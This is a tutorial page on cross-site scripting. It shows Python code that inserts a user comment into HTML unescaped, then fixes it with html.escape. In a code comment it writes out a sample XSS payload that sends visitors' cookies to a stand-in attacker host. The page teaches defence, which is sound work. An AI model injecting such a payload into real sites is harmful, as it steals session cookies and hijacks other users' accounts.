← Web Application Security tutorial

Web Application Security

Cross-Site Scripting (XSS)

Cross-site scripting happens when a web page takes input from one user (a comment, a username, a review) and displays it to other users without neutralizing it first. If that input contains HTML or JavaScript, the browser runs it as part of the page — not as the harmless text it was supposed to be.

A comment field is a typical target:

Example
# Vulnerable — the comment is inserted straight into the page's HTML
page_html = f"<p>{comment}</p>"

# An attacker posts this as their "comment":
#   <script>document.location='https://evil.example/steal?cookie='+document.cookie</script>
# Every visitor who views the page now runs that script in their own browser.

# Fixed — escape the special HTML characters before inserting user input
import html
page_html = f"<p>{html.escape(comment)}</p>"
# <script> becomes &lt;script&gt; — displayed as literal text, never executed
Output
The vulnerable version lets the attacker's <script> tag execute in every other visitor's browser, often used to steal their session cookie. Escaping turns the dangerous characters into their literal text equivalents, so the browser displays them instead of running them.
Ready to go further?

These free tutorials are a preview, our Cybersecurity cohort covers it in depth, with a real project and a cohort alongside you. Closes Nov 30

Enroll in Cybersecurity

Cookie preferences

Choose what you're comfortable with. You can change this any time from the footer.

Don't miss out

Ready to build something real?

Create a free account to enroll in a track, and get notified the moment a cohort opens.

Create free account